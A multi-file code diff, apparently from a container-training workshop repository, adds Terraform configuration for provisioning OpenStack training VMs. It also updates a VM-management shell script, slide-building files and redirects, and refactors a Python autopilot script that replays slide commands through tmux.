+				I can train your team, in person or
+				online, with custom courses of
+				any length and any level.
+				</p>
+	            {% if qrcode %}
+	            <p>If you're interested, please scan that QR code to contact me:</p>
+				<span class="qrcode"></span>
+                {% else %}
+				<p>If you're interested, you can contact me at:</p>
+				{% endif %}
+				<p>jerome.petazzoni@gmail.com</p>
+		        </div>
+			{% endfor %}
+		<span class="pagebreak"></span>
+		{% endif %}
+    {% endif %}
+{% endfor %}
+</body>
+</html>

prepare-vms/terraform/keypair.tf

@@ -0,0 +1,5 @@
+resource "openstack_compute_keypair_v2" "ssh_deploy_key" {
+  name       = "${var.prefix}"
+  public_key = "${file("~/.ssh/id_rsa.pub")}"
+}
+

prepare-vms/terraform/machines.tf

@@ -0,0 +1,32 @@
+resource "openstack_compute_instance_v2" "machine" {
+  count           = "${var.count}" 
+  name            = "${format("%s-%04d", "${var.prefix}", count.index+1)}"
+  image_name      = "Ubuntu 16.04.5 (Xenial Xerus)"
+  flavor_name     = "${var.flavor}"
+  security_groups = ["${openstack_networking_secgroup_v2.full_access.name}"]
+  key_pair        = "${openstack_compute_keypair_v2.ssh_deploy_key.name}"
+
+  network {
+    name        = "${openstack_networking_network_v2.internal.name}"
+    fixed_ip_v4 = "${cidrhost("${openstack_networking_subnet_v2.internal.cidr}", count.index+10)}"
+  }
+}
+
+resource "openstack_compute_floatingip_v2" "machine" {
+  count = "${var.count}"
+  # This is something provided to us by Enix when our tenant was provisioned.
+  pool = "Public Floating"
+}
+
+resource "openstack_compute_floatingip_associate_v2" "machine" {
+  count       = "${var.count}"
+  floating_ip = "${openstack_compute_floatingip_v2.machine.*.address[count.index]}"
+  instance_id = "${openstack_compute_instance_v2.machine.*.id[count.index]}"
+  fixed_ip    = "${cidrhost("${openstack_networking_subnet_v2.internal.cidr}", count.index+10)}"
+}
+
+output "ip_addresses" {
+  value = "${join("\n", openstack_compute_floatingip_v2.machine.*.address)}"
+}
+
+variable "flavor" {}

prepare-vms/terraform/network.tf

@@ -0,0 +1,23 @@
+resource "openstack_networking_network_v2" "internal" {
+  name           = "${var.prefix}"
+}
+
+resource "openstack_networking_subnet_v2" "internal" {
+  name            = "${var.prefix}"
+  network_id      = "${openstack_networking_network_v2.internal.id}"
+  cidr            = "10.10.0.0/16"
+  ip_version      = 4
+  dns_nameservers = ["1.1.1.1"]
+}
+
+resource "openstack_networking_router_v2" "router" {
+  name                = "${var.prefix}"
+  external_network_id = "15f0c299-1f50-42a6-9aff-63ea5b75f3fc"
+}
+
+resource "openstack_networking_router_interface_v2" "router_internal" {
+  router_id = "${openstack_networking_router_v2.router.id}"
+  subnet_id = "${openstack_networking_subnet_v2.internal.id}"
+}
+
+

prepare-vms/terraform/provider.tf

@@ -0,0 +1,13 @@
+provider "openstack" {
+  user_name   = "${var.user}"
+  tenant_name = "${var.tenant}"
+  domain_name = "${var.domain}"
+  password    = "${var.password}"
+  auth_url    = "${var.auth_url}"
+}
+
+variable "user" {}
+variable "tenant" {}
+variable "domain" {}
+variable "password" {}
+variable "auth_url" {}

prepare-vms/terraform/secgroup.tf

@@ -0,0 +1,12 @@
+resource "openstack_networking_secgroup_v2" "full_access" {
+  name = "${var.prefix} - full access"
+}
+
+resource "openstack_networking_secgroup_rule_v2" "full_access" {
+  direction         = "ingress"
+  ethertype         = "IPv4"
+  protocol          = ""
+  remote_ip_prefix  = "0.0.0.0/0"
+  security_group_id = "${openstack_networking_secgroup_v2.full_access.id}"
+}
+

prepare-vms/terraform/vars.tf

@@ -0,0 +1,8 @@
+variable "prefix" {
+  type = "string"
+}
+
+variable "count" {
+  type = "string"
+}
+

prepare-vms/workshopctl

@@ -1,20 +1,19 @@
 #!/bin/bash
 
-# Get the script's real directory, whether we're being called directly or via a symlink
+# Get the script's real directory.
+# This should work whether we're being called directly or via a symlink.
 if [ -L "$0" ]; then
     export SCRIPT_DIR=$(dirname $(readlink "$0"))
 else
     export SCRIPT_DIR=$(dirname "$0")
 fi
 
-# Load all scriptlets
+# Load all scriptlets.
 cd "$SCRIPT_DIR"
 for lib in lib/*.sh; do
     . $lib
 done
 
-TRAINER_IMAGE="preparevms_prepare-vms"
-
 DEPENDENCIES="
     aws
     ssh
@@ -25,49 +24,26 @@ DEPENDENCIES="
     man
     "
 
-ENVVARS="
-    AWS_ACCESS_KEY_ID
-    AWS_SECRET_ACCESS_KEY
-    AWS_DEFAULT_REGION
-    SSH_AUTH_SOCK
-    "
+# Check for missing dependencies, and issue a warning if necessary.
+missing=0
+for dependency in $DEPENDENCIES; do
+    if ! command -v $dependency >/dev/null; then
+        warning "Dependency $dependency could not be found."
+        missing=1
+    fi
+done
+if [ $missing = 1 ]; then
+    warning "At least one dependency is missing. Install it or try the image wrapper."
+fi
 
-check_envvars() {
-    status=0
-    for envvar in $ENVVARS; do
-        if [ -z "${!envvar}" ]; then
-            error "Environment variable $envvar is not set."
-            if [ "$envvar" = "SSH_AUTH_SOCK" ]; then
-                error "Hint: run 'eval \$(ssh-agent) ; ssh-add' and try again?"
-            fi
-            status=1
-        fi
-    done
-    return $status
-}
+# Check if SSH_AUTH_SOCK is set.
+# (If it's not, deployment will almost certainly fail.)
+if [ -z "${SSH_AUTH_SOCK}" ]; then
+    warning "Environment variable SSH_AUTH_SOCK is not set."
+    warning "Hint: run 'eval \$(ssh-agent) ; ssh-add' and try again?"
+fi
 
-check_dependencies() {
-    status=0
-    for dependency in $DEPENDENCIES; do
-        if ! command -v $dependency >/dev/null; then
-            warning "Dependency $dependency could not be found."
-            status=1
-        fi
-    done
-    return $status
-}
-
-check_image() {
-    docker inspect $TRAINER_IMAGE >/dev/null 2>&1
-}
-
-check_envvars \
-    || die "Please set all required environment variables."
-
-check_dependencies \
-    || warning "At least one dependency is missing. Install it or try the image wrapper."
-
-# Now check which command was invoked and execute it
+# Now check which command was invoked and execute it.
 if [ "$1" ]; then
     cmd="$1"
     shift
@@ -77,6 +53,3 @@ fi
 fun=_cmd_$cmd
 type -t $fun | grep -q function || die "Invalid command: $cmd"
 $fun "$@"
-
-#    export SSH_AUTH_DIRNAME=$(dirname $SSH_AUTH_SOCK)
-#    docker-compose run prepare-vms "$@"

prepare-vms/www/README

@@ -0,0 +1,4 @@
+This directory will contain symlinks to HTML and PDF files for the cards
+with the IP address, login, and password for the training environments.
+
+The file "index.html" is empty on purpose: it prevents listing the files.

slides/Dockerfile

@@ -0,0 +1,4 @@
+FROM alpine:3.11
+RUN apk add --no-cache entr py3-pip git zip
+COPY requirements.txt .
+RUN pip3 install -r requirements.txt

slides/README.md

@@ -34,6 +34,14 @@ compile each `foo.yml` file into `foo.yml.html`.
 You can also run `./build.sh forever`: it will monitor the current
 directory and rebuild slides automatically when files are modified.
 
+If you have problems running `./build.sh` (because of
+Python dependencies or whatever),
+you can also run `docker-compose up` in this directory.
+It will start the `./build.sh forever` script in a container.
+It will also start a web server exposing the slides
+(but the slides should also work if you load them from your
+local filesystem).
+
 
 ## Publishing pipeline
 
@@ -53,4 +61,4 @@ You can run `./slidechecker foo.yml.html` to check for
 missing images and show the number of slides in that deck.
 It requires `phantomjs` to be installed. It takes some
 time to run so it is not yet integrated with the publishing
-pipeline.
+pipeline.

slides/_redirects

@@ -0,0 +1,15 @@
+# Uncomment and/or edit one of the the following lines if necessary.
+#/ /kube-halfday.yml.html 200
+#/ /kube-fullday.yml.html 200
+#/ /kube-twodays.yml.html 200
+
+# And this allows to do "git clone https://container.training".
+/info/refs service=git-upload-pack https://github.com/jpetazzo/container.training/info/refs?service=git-upload-pack
+
+#/dockermastery https://www.udemy.com/course/docker-mastery/?referralCode=1410924A733D33635CCB
+#/kubernetesmastery https://www.udemy.com/course/kubernetesmastery/?referralCode=7E09090AF9B79E6C283F
+/dockermastery https://www.udemy.com/course/docker-mastery/?couponCode=SWEETFEBSALEC1
+/kubernetesmastery https://www.udemy.com/course/kubernetesmastery/?couponCode=SWEETFEBSALEC4
+
+# Shortlink for the QRCode
+/q /qrcode.html 200

slides/autopilot/autotest.py

@@ -26,9 +26,10 @@ IPADDR = None
 class State(object):
 
     def __init__(self):
+        self.clipboard = ""
         self.interactive = True
-        self.verify_status = False
-        self.simulate_type = True
+        self.verify_status = True
+        self.simulate_type = False
         self.switch_desktop = False
         self.sync_slides = False
         self.open_links = False
@@ -38,6 +39,7 @@ class State(object):
 
     def load(self):
         data = yaml.load(open("state.yaml"))
+        self.clipboard = str(data["clipboard"])
         self.interactive = bool(data["interactive"])
         self.verify_status = bool(data["verify_status"])
         self.simulate_type = bool(data["simulate_type"])
@@ -51,6 +53,7 @@ class State(object):
     def save(self):
         with open("state.yaml", "w") as f:
             yaml.dump(dict(
+                clipboard=self.clipboard,
                 interactive=self.interactive,
                 verify_status=self.verify_status,
                 simulate_type=self.simulate_type,
@@ -66,6 +69,8 @@ class State(object):
 state = State()
 
 
+outfile = open("autopilot.log", "w")
+
 def hrule():
     return "="*int(subprocess.check_output(["tput", "cols"]))
 
@@ -85,9 +90,11 @@ class Snippet(object):
         # On single-line snippets, the data follows the method immediately
         if '\n' in content:
             self.method, self.data = content.split('\n', 1)
-        else:
+            self.data = self.data.strip()
+        elif ' ' in content:
             self.method, self.data = content.split(' ', 1)
-        self.data = self.data.strip()
+        else:
+            self.method, self.data = content, None
         self.next = None
 
     def __str__(self):
@@ -186,7 +193,7 @@ def wait_for_prompt():
         if last_line == "$":
             # This is a perfect opportunity to grab the node's IP address
             global IPADDR
-            IPADDR = re.findall("^\[(.*)\]", output, re.MULTILINE)[-1]
+            IPADDR = re.findall("\[(.*)\]", output, re.MULTILINE)[-1]
             return
         # When we are in an alpine container, the prompt will be "/ #"
         if last_line == "/ #":
@@ -223,7 +230,7 @@ def check_exit_status():
 def setup_tmux_and_ssh():
     if subprocess.call(["tmux", "has-session"]):
         logging.error("Couldn't connect to tmux. Please setup tmux first.")
-        ipaddr = open("../../prepare-vms/ips.txt").read().split("\n")[0]
+        ipaddr = "$IPADDR"
         uid = os.getuid()
 
         raise Exception("""
@@ -235,6 +242,8 @@ tmux
 
 rm -f /tmp/tmux-{uid}/default && ssh -t -L /tmp/tmux-{uid}/default:/tmp/tmux-1001/default docker@{ipaddr} tmux new-session -As 0
 
+(Or use workshopctl tmux)
+
 3. If you cannot control a remote tmux:
 
 tmux new-session ssh docker@{ipaddr}
@@ -259,26 +268,11 @@ for slide in re.split("\n---?\n", content):
         slide_classes = slide_classes[0].split(",")
         slide_classes = [c.strip() for c in slide_classes]
     if excluded_classes & set(slide_classes):
-        logging.info("Skipping excluded slide.")
+        logging.debug("Skipping excluded slide.")
         continue
     slides.append(Slide(slide))
 
 
-def send_keys(data):
-    if state.simulate_type and data[0] != '^':
-        for key in data:
-            if key == ";":
-                key = "\\;"
-            if key == "\n":
-                if interruptible_sleep(1): return
-            subprocess.check_call(["tmux", "send-keys", key])
-            if interruptible_sleep(0.15*random.random()): return
-            if key == "\n":
-                if interruptible_sleep(1): return
-    else:
-        subprocess.check_call(["tmux", "send-keys", data])
-
-
 def capture_pane():
     return subprocess.check_output(["tmux", "capture-pane", "-p"]).decode('utf-8')
 
@@ -288,7 +282,7 @@ setup_tmux_and_ssh()
 
 try:
     state.load()
-    logging.info("Successfully loaded state from file.")
+    logging.debug("Successfully loaded state from file.")
     # Let's override the starting state, so that when an error occurs,
     # we can restart the auto-tester and then single-step or debug.
     # (Instead of running again through the same issue immediately.)
@@ -297,6 +291,7 @@ except Exception as e:
     logging.exception("Could not load state from file.")
     logging.warning("Using default values.")
 
+
 def move_forward():
     state.snippet += 1
     if state.snippet > len(slides[state.slide].snippets):
@@ -320,10 +315,147 @@ def check_bounds():
         state.slide = len(slides)-1
 
 
+##########################################################
+# All functions starting with action_ correspond to the
+# code to be executed when seeing ```foo``` blocks in the
+# input. ```foo``` would call action_foo(state, snippet).
+##########################################################
+
+
+def send_keys(keys):
+    subprocess.check_call(["tmux", "send-keys", keys])
+
+# Send a single key.
+# Useful for special keys, e.g. tmux interprets these strings:
+# ^C (and all other sequences starting with a caret)
+# Space
+# ... and many others (check tmux manpage for details).
+def action_key(state, snippet):
+    send_keys(snippet.data)
+
+
+# Send multiple keys.
+# If keystroke simulation is off, all keys are sent at once.
+# If keystroke simulation is on, keys are sent one by one, with a delay between them.
+def action_keys(state, snippet, keys=None):
+    if keys is None:
+        keys = snippet.data
+    if not state.simulate_type:
+        send_keys(keys)
+    else:
+        for key in keys:
+            if key == ";":
+                key = "\\;"
+            if key == "\n":
+                if interruptible_sleep(1): return
+            send_keys(key)
+            if interruptible_sleep(0.15*random.random()): return
+            if key == "\n":
+                if interruptible_sleep(1): return
+
+
+def action_hide(state, snippet):
+    if state.run_hidden:
+        action_bash(state, snippet)
+
+
+def action_bash(state, snippet):
+    data = snippet.data
+    # Make sure that we're ready
+    wait_for_prompt()
+    # Strip leading spaces
+    data = re.sub("\n +", "\n", data)
+    # Remove backticks (they are used to highlight sections)
+    data = data.replace('`', '')
+    # Add "RETURN" at the end of the command :)
+    data += "\n"
+    # Send command
+    action_keys(state, snippet, data)
+    # Force a short sleep to avoid race condition
+    time.sleep(0.5)
+    if snippet.next and snippet.next.method == "wait":
+        wait_for_string(snippet.next.data)
+    elif snippet.next and snippet.next.method == "longwait":
+        wait_for_string(snippet.next.data, 10*TIMEOUT)
+    else:
+        wait_for_prompt()
+        # Verify return code
+        check_exit_status()
+
+
+def action_copy(state, snippet):
+    screen = capture_pane()
+    matches = re.findall(snippet.data, screen, flags=re.DOTALL)
+    if len(matches) == 0:
+        raise Exception("Could not find regex {} in output.".format(snippet.data))
+    # Arbitrarily get the most recent match
+    match = matches[-1]
+    # Remove line breaks (like a screen copy paste would do)
+    match = match.replace('\n', '')
+    logging.debug("Copied {} to clipboard.".format(match))
+    state.clipboard = match
+
+
+def action_paste(state, snippet):
+    logging.debug("Pasting {} from clipboard.".format(state.clipboard))
+    action_keys(state, snippet, state.clipboard)
+
+
+def action_check(state, snippet):
+    wait_for_prompt()
+    check_exit_status()
+
+
+def action_open(state, snippet):
+    # Cheap way to get node1's IP address
+    screen = capture_pane()
+    url = snippet.data.replace("/node1", "/{}".format(IPADDR))
+    # This should probably be adapted to run on different OS
+    if state.open_links:
+        subprocess.check_output(["xdg-open", url])
+        focus_browser()
+        if state.interactive:
+            print("Press any key to continue to next step...")
+            click.getchar()
+
+
+def action_tmux(state, snippet):
+    subprocess.check_call(["tmux"] + snippet.data.split())
+
+
+def action_unknown(state, snippet):
+    logging.warning("Unknown method {}: {!r}".format(snippet.method, snippet.data))
+
+
+def run_snippet(state, snippet):
+    logging.info("Running with method {}: {}".format(snippet.method, snippet.data))
+    try:
+        action = globals()["action_"+snippet.method]
+    except KeyError:
+        action = action_unknown
+    try:
+        action(state, snippet)
+        result = "OK"
+    except:
+        result = "ERR"
+        logging.exception("While running method {} with {!r}".format(snippet.method, snippet.data))
+        # Try to recover
+        try:
+            wait_for_prompt()
+        except:
+            subprocess.check_call(["tmux", "new-window"])
+            wait_for_prompt()
+    outfile.write("{} SLIDE={} METHOD={} DATA={!r}\n".format(result, state.slide, snippet.method, snippet.data))
+    outfile.flush()
+
+
 while True:
     state.save()
     slide = slides[state.slide]
-    snippet = slide.snippets[state.snippet-1] if state.snippet else None
+    if state.snippet and state.snippet <= len(slide.snippets):
+        snippet = slide.snippets[state.snippet-1]
+    else:
+        snippet = None
     click.clear()
     print("[Slide {}/{}] [Snippet {}/{}] [simulate_type:{}] [verify_status:{}] "
           "[switch_desktop:{}] [sync_slides:{}] [open_links:{}] [run_hidden:{}]"
@@ -385,7 +517,10 @@ while True:
         # continue until next timeout
         state.interactive = False
     elif command in ("y", "\r", " "):
-        if not snippet:
+        if snippet:
+            run_snippet(state, snippet)
+            move_forward()
+        else:
             # Advance to next snippet
             # Advance until a slide that has snippets
             while not slides[state.slide].snippets:
@@ -395,59 +530,5 @@ while True:
                     break
             # And then advance to the snippet
             move_forward()
-            continue
-        method, data = snippet.method, snippet.data
-        logging.info("Running with method {}: {}".format(method, data))
-        if method == "keys":
-            send_keys(data)
-        elif method == "bash" or (method == "hide" and state.run_hidden):
-            # Make sure that we're ready
-            wait_for_prompt()
-            # Strip leading spaces
-            data = re.sub("\n +", "\n", data)
-            # Remove backticks (they are used to highlight sections)
-            data = data.replace('`', '')
-            # Add "RETURN" at the end of the command :)
-            data += "\n"
-            # Send command
-            send_keys(data)
-            # Force a short sleep to avoid race condition
-            time.sleep(0.5)
-            if snippet.next and snippet.next.method == "wait":
-                wait_for_string(snippet.next.data)
-            elif snippet.next and snippet.next.method == "longwait":
-                wait_for_string(snippet.next.data, 10*TIMEOUT)
-            else:
-                wait_for_prompt()
-                # Verify return code
-                check_exit_status()
-        elif method == "copypaste":
-            screen = capture_pane()
-            matches = re.findall(data, screen, flags=re.DOTALL)
-            if len(matches) == 0:
-                raise Exception("Could not find regex {} in output.".format(data))
-            # Arbitrarily get the most recent match
-            match = matches[-1]
-            # Remove line breaks (like a screen copy paste would do)
-            match = match.replace('\n', '')
-            send_keys(match + '\n')
-            # FIXME: we should factor out the "bash" method
-            wait_for_prompt()
-            check_exit_status()
-        elif method == "open":
-            # Cheap way to get node1's IP address
-            screen = capture_pane()
-            url = data.replace("/node1", "/{}".format(IPADDR))
-            # This should probably be adapted to run on different OS
-            if state.open_links:
-                subprocess.check_output(["xdg-open", url])
-                focus_browser()
-                if state.interactive:
-                    print("Press any key to continue to next step...")
-                    click.getchar()
-        else:
-            logging.warning("Unknown method {}: {!r}".format(method, data))
-        move_forward()
-
     else:
         logging.warning("Unknown command {}.".format(command))